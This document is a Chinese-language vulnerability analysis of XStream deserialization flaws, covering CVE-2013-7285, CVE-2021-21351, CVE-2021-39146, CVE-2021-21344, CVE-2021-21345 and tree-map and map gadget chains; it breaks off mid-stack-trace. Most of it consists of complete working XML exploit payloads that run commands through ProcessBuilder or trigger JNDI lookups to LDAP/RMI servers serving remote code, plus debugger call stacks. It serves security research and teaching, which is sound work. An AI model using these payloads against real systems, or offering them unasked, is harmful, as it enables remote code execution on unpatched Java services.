前言
XStream 是一个将 java bean 对象与 xml 互相转换的依赖包,有点类似 fastjson 的 json 对象互转。
对于原生的 Java 反序列化来说,可以利用的 Java 类是任意实现了Serializable
的类,入口是ObjectInputStream
的readObject
方法。对于XStream
来说,可以利用的Java是任意类,入口是XStream
的fromXML
方法。
Xstream 会把 CVE 的 payload公布出来: https://x-stream.github.io/security.html ,可以看到 1.4.17 之后漏洞变少很多,因为由黑名单转向白名单了。
sorted-set
CVE-2013-7285
影响范围
XStream == 1.4.5 /1.4.6 / 1.4.10
版本说明
<= 1.3.1 版本不解析 sorted-set 标签,无法利用。
< 1.4.4 的版本会判断 treeMap 是否为空,为空不进 populateTreeMap,链子断掉。

1.4.7 - 1.4.9 、1.4.11 都是对 EventHandler 这个类进行黑名单过滤。

漏洞分析
漏洞本质:<dynamic-proxy>
这个标签在转换成对象时,会把<handler>
指定的类作为 handler, 并封装一个对应的动态代理对象。当 <interface>
指定的类的方法被执行时,触发 handler 的 invoke,通过配置<target>
指定触发的类和 <command>
指定参数实现 RCE。
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
|
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| invoke:275, MethodUtil (sun.reflect.misc) invokeInternal:482, EventHandler (java.beans) access$000:279, EventHandler (java.beans) run:430, EventHandler$1 (java.beans) doPrivileged:-1, AccessController (java.security) invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1290, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1156, XStream (com.thoughtworks.xstream) unmarshal:1140, XStream (com.thoughtworks.xstream) fromXML:1020, XStream (com.thoughtworks.xstream) main:20, Exp (CVE_2013_7285)
|
source点: k1.compareTo(k2)
触发反序列化,原因是代理对象k1调用了 java.lang.Comparable#compareTo 方法,触发了 <dynamic-proxy>
, 然后进入 EventHandler#invoke 的逻辑实现 RCE。

下图位置打个条件断点,一目了然。

CVE-2021-21351
影响范围
XStream <= 1.4.15
JDK < 8u121(使用 RMI 进行 JNDI )
JDK < 8u191(使用 LADP 进行 JNDI )
版本说明
无
漏洞分析
漏洞本质:source 点javax.naming.ldap.Rdn.RdnEntry#compareTo
,和上面一样通过 <sorted-set>
触发,sink 点就是 com.sun.rowset.JdbcRowSetImpl#connect
,即 JdbcRowSetImpl 链 触发 JNDI。
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__useServicesMechanism>false</__useServicesMechanism> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://127.0.0.1:1099/Basic/Command/calc</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference='../fConfigSetInput'/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__walker> <nextIsRaw>false</nextIsRaw> </m__walker> <m__endDocumentOccured>false</m__endDocumentOccured> <m__idAttributes/> <m__textPendingStart>-1</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>1</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| connect:615, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref) deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref) nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm) _firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref) getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm) str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects) toString:314, XObject (com.sun.org.apache.xpath.internal.objects) equals:392, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) put:568, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1157, XStream (com.thoughtworks.xstream) unmarshal:1141, XStream (com.thoughtworks.xstream) fromXML:1021, XStream (com.thoughtworks.xstream) main:19, Vul (POC.sortedSet)
|

CVE-2021-39146
影响范围
XStream <= 1.4.17
JDK < 8u121(使用 RMI 进行 JNDI )
JDK < 8u191(使用 LADP 进行 JNDI )
版本说明
无
漏洞分析
漏洞本质:还是 JNDI。source 点javax.naming.ldap.Rdn.RdnEntry#compareTo
,通过 <sorted-set>
触发;sink 点是java.security.PrivilegedAction#run
里有反射调用,设置成 doLookup
实现 JNDI。

title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>test</type> <value class='javax.swing.MultiUIDefaults' serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>0</int> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale>zh_CN</defaultLocale> <resourceCache/> </default> </javax.swing.UIDefaults> <javax.swing.MultiUIDefaults> <default> <tables> <javax.swing.UIDefaults serialization='custom'> <unserializable-parents/> <hashtable> <default> <loadFactor>0.75</loadFactor> <threshold>525</threshold> </default> <int>700</int> <int>1</int> <string>lazyValue</string> <javax.swing.UIDefaults_-ProxyLazyValue> <className>javax.naming.InitialContext</className> <methodName>doLookup</methodName> <args> <string>ldap://127.0.0.1:1389/Basic/Command/calc</string> </args> </javax.swing.UIDefaults_-ProxyLazyValue> </hashtable> <javax.swing.UIDefaults> <default> <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/> <resourceCache/> </default> </javax.swing.UIDefaults> </javax.swing.UIDefaults> </tables> </default> </javax.swing.MultiUIDefaults> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>test</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>
|
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| start:1007, ProcessBuilder (java.lang) exec:620, Runtime (java.lang) exec:485, Runtime (java.lang) <init>:-1, Exploit_etYbcClocgwl newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getObjectFactoryFromReference:163, NamingManager (javax.naming.spi) getObjectInstance:189, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) doLookup:290, InitialContext (javax.naming) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [2] invoke:497, Method (java.lang.reflect) invoke:71, Trampoline (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [1] invoke:497, Method (java.lang.reflect) invoke:275, MethodUtil (sun.reflect.misc) run:1107, UIDefaults$ProxyLazyValue$1 (javax.swing) doPrivileged:-1, AccessController (java.security) createValue:1086, UIDefaults$ProxyLazyValue (javax.swing) getFromHashtable:216, UIDefaults (javax.swing) get:161, UIDefaults (javax.swing) get:64, MultiUIDefaults (javax.swing) toString:197, MultiUIDefaults (javax.swing) equals:392, XString (com.sun.org.apache.xpath.internal.objects) compareTo:441, Rdn$RdnEntry (javax.naming.ldap) compareTo:420, Rdn$RdnEntry (javax.naming.ldap) put:568, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1157, XStream (com.thoughtworks.xstream) unmarshal:1141, XStream (com.thoughtworks.xstream) fromXML:1021, XStream (com.thoughtworks.xstream) main:20, Vul (POC.sortedSet)
|
tree-map
影响范围
XStream == (1.4.0, 1.4.6] / 1.4.10
版本说明
- 1.3.x 会直接报错,没有 compartor 属性
- 1.4.7 - 1.4.9 、1.4.11 都是对 EventHandler 这个handler类进行黑名单过滤。
漏洞分析
这个同样是根标签解析到 TreeMap 这个 Converter,然后触发 compareTo,链子没变,但是覆盖版本更广了,POC如下
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <tree-map> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>good</string> </entry> </tree-map>
|
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| invoke:275, MethodUtil (sun.reflect.misc) invokeInternal:482, EventHandler (java.beans) access$000:279, EventHandler (java.beans) run:430, EventHandler$1 (java.beans) doPrivileged:-1, AccessController (java.security) invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1290, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) unmarshal:79, TreeMapConverter (com.thoughtworks.xstream.converters.collections) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1156, XStream (com.thoughtworks.xstream) unmarshal:1140, XStream (com.thoughtworks.xstream) fromXML:1020, XStream (com.thoughtworks.xstream) main:18, Vul (POC.treeMap)
|
map
影响范围
XStream <= 1.4.13
版本说明
- 1.3.x 会直接报错
- 1.4.14 以后存在 对
ProcessBuilder
的黑名单,在 com.thoughtworks.xstream.XStream#setupSecurity
里

漏洞分析
漏洞本质:利用 MapConverter#putCurrentEntryIntoMap
函数为入口,一直调用到ImageIO$ContainsFilter#filter
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string>
</command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
|
一个 entry 大概是这样的形式,第一个是key,第二个是value。 poc 把 payload 放在 key 那里了。
title:"Demo"1 2 3 4 5 6
| <map> <entry> <string>key</string> <string>value</string> </entry> </map>
|
source点:MapConverter#putCurrentEntryIntoMap
函数,内部调用了 target.put(key, value),target是最根部的map标签(HashMap类型),key是payload(NativeString类型),value是test字符串。

然后 HashMap#put(key, value) 最终是可以调到 key#hashCode 的,也就进入了 NativeString#hashCode,也就是 xml 的第二个标签,后续每个调用都有标签的对应,无非是把反射赋值改为xml属性赋值。
sink点:ImageIO$ContainsFilter#filter
可以实现反射调用函数,参数可控。

函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| start:1007, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) filter:613, ImageIO$ContainsFilter (javax.imageio) advance:821, FilterIterator (javax.imageio.spi) next:839, FilterIterator (javax.imageio.spi) nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:110, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) getStringValue:122, NativeString (jdk.nashorn.internal.objects) hashCode:118, NativeString (jdk.nashorn.internal.objects) hash:338, HashMap (java.util) put:611, HashMap (java.util) putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections) populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections) populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections) unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1404, XStream (com.thoughtworks.xstream) unmarshal:1383, XStream (com.thoughtworks.xstream) fromXML:1277, XStream (com.thoughtworks.xstream) main:18, Vul (POC.map)
|
java.util.PriorityQueue
CVE-2021-21344
影响范围
XStream <= 1.4.15
版本说明
漏洞分析
漏洞本质:在xml转java对象时,SerializableConverter#doUnmarshal
会调用标签所对应的类的readObject方法,例如test/DemoForUsage 里能够调用 Person 类的readObject。这几乎是万能source了,只要有其他组件就能利用。CVE-2021-21344 以java.util.PriorityQueue
为入口,找到一条触发 JdbcRowSetImpl#connect
的链子,进行 JNDI 注入。
PS:除了默认的序列化方法,在SerializableConverter#doMarshal
中支持重写方法writeObject的调用,所以当类实现了Serializable并且重写了writeObject,则会调用重写的writeObject。
一般在重写的writeObject方法中还是会调用SerializableConverter.defaultWriteObject方法来进行属性的序列化。
下面是poc,需要起一个恶意本地 LDAP 服务器,接收 lookup。
title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://127.0.0.1:1389/Basic/Command/calc</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
SerializableConverter 触发 PriorityQueue 的反序列化,一直到 PriorityQueue#siftDownUsingComparator 都和 CC4 一样,只不过本链后面走的是 DataTransferer$IndexedComparator#compare,CC4 走的是 TransformingComparator#compare。
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| connect:615, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect) serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime) childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime) write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime) marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime) marshal:130, Bridge (com.sun.xml.internal.bind.api) marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish) writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message) asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message) getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message) getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message) get:111, ResponseContext (com.sun.xml.internal.ws.client) compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer) compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util) doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection) unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection) convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core) convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core) convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core) start:134, TreeUnmarshaller (com.thoughtworks.xstream.core) unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core) unmarshal:1404, XStream (com.thoughtworks.xstream) unmarshal:1383, XStream (com.thoughtworks.xstream) fromXML:1277, XStream (com.thoughtworks.xstream) main:18, Vul (POC.priorityQueue)
|
CVE-2021-21345
影响范围
XStream <= 1.4.15
版本说明
- 1.3.x 会直接报错
- 1.4.15 以后添加了黑名单,和CVE-2021-21344一样
漏洞分析
漏洞本质:source 还是PriorityQueue#readObject
,只不过 sink 不用 JdbcRowSetImpl#connect
打 JNDI,改用ServerTableEntry#verify
打命令执行。

title:"poc.xml"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'> <activationCmd>calc</activationCmd> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| verify:170, ServerTableEntry (com.sun.corba.se.impl.activation) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect) serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime) childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime) write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime) marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime) marshal:130, Bridge (com.sun.xml.internal.bind.api) marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish) writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message) asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message) getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message) getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml) getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message) get:111, ResponseContext 